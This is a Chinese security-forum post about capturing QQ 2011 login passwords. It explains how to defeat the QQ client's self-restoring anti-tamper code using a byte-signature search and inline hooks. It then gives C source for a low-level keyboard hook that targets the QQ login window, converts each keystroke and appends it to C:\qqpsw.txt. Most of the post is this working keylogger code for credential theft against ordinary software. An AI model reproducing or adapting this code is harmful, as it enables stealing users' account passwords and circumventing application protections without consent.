首先感谢hackerlzc给我们带来了这么好的一篇文章:
【原创】QQ2011低级键盘钩子分析----ring3截获QQ密码
http://bbs.pediy.com/showthread.php?t=133943
=====================================================
此文需要干掉QQ的WH_DEBUG的钩子,并且自己安装一个WH_KEYBOARD_LL钩子。
其中提到了,QQ为了保护代码不被修改,会有一个备份代码,进行不停的恢复。
于是我们能不能换一个办法,既然WH_DEBUG有备份,那么QQ的键盘钩子回调函数很可能也是这样进行保护的。
于是搜索特征码:
003CF513 B9 07000000 MOV ECX,7
003CF518 33C0 XOR EAX,EAX
003CF51A FC CLD
搜两次哦,进行inline hook,先修改高地址,再修改低地址。
诶,这样就成了
附上我的回调函数内部处理代码:
FILE *fp;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
if( p->flags != 0x10 && p->flags != 0x90 )
{
/*
if (wParam == WM_KEYDOWN)
{
DWORD dwMsg = 1;
dwMsg += p->scanCode << 16;
dwMsg += p->flags << 24;
wchar_t KeyText[20] = {0};
GetKeyNameText(p->scanCode<<16, KeyText, 20);
DbgPrint(L"%s %d",KeyText,p->time);
}
if((p->flags & LLKHF_UP) == 0 )
{
WORD ch;
BYTE keystate[ 256 ] = {0};
GetKeyboardState( keystate );
ToAscii( p->vkCode,p->scanCode,keystate,&ch,0 );
DbgPrint(L"%c\n",ch);
}
*/
HWND hwnd = GetForegroundWindow();
TCHAR buff[256];
GetClassName(hwnd, buff, 255);
DWORD ProcId;
GetWindowThreadProcessId(hwnd, &ProcId) ;
if (wcscmp(buff, L"TXGuiFoundation") == 0 && GetCurrentProcessId() == ProcId && wParam == WM_KEYDOWN)
{
BYTE KeyboardState[256];
ZeroMemory(KeyboardState, sizeof(KeyboardState));
GetKeyboardState(KeyboardState);
KeyboardState[VK_SHIFT] = (BYTE) (GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT));
KeyboardState[VK_CAPITAL] = (BYTE) GetKeyState(VK_CAPITAL);
WORD wChar = 0;
ToAscii(p->vkCode, p->scanCode, KeyboardState, &wChar, 0);
fp = _wfopen(L"C:\\qqpsw.txt",L"a+");
if ( iswprint(wChar))
{
//DbgPrint(L"%c :",wChar);
fwprintf(fp, L"%c",wChar );
}
else
{
wchar_t KeyText[20] = {0};
ZeroMemory(KeyText, sizeof(KeyText));
LONG Flags = 0;
Flags = p->scanCode << 16;
Flags |= p->flags << 24;
if (GetKeyNameText(Flags, KeyText, 20) > 0)
{
//DbgPrint(L":%s",KeyText);
fwprintf(fp, L"\n%s\t",KeyText );
}
}
fclose(fp);
}
}
return qqhook(nCode, wParam, lParam );
}
看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~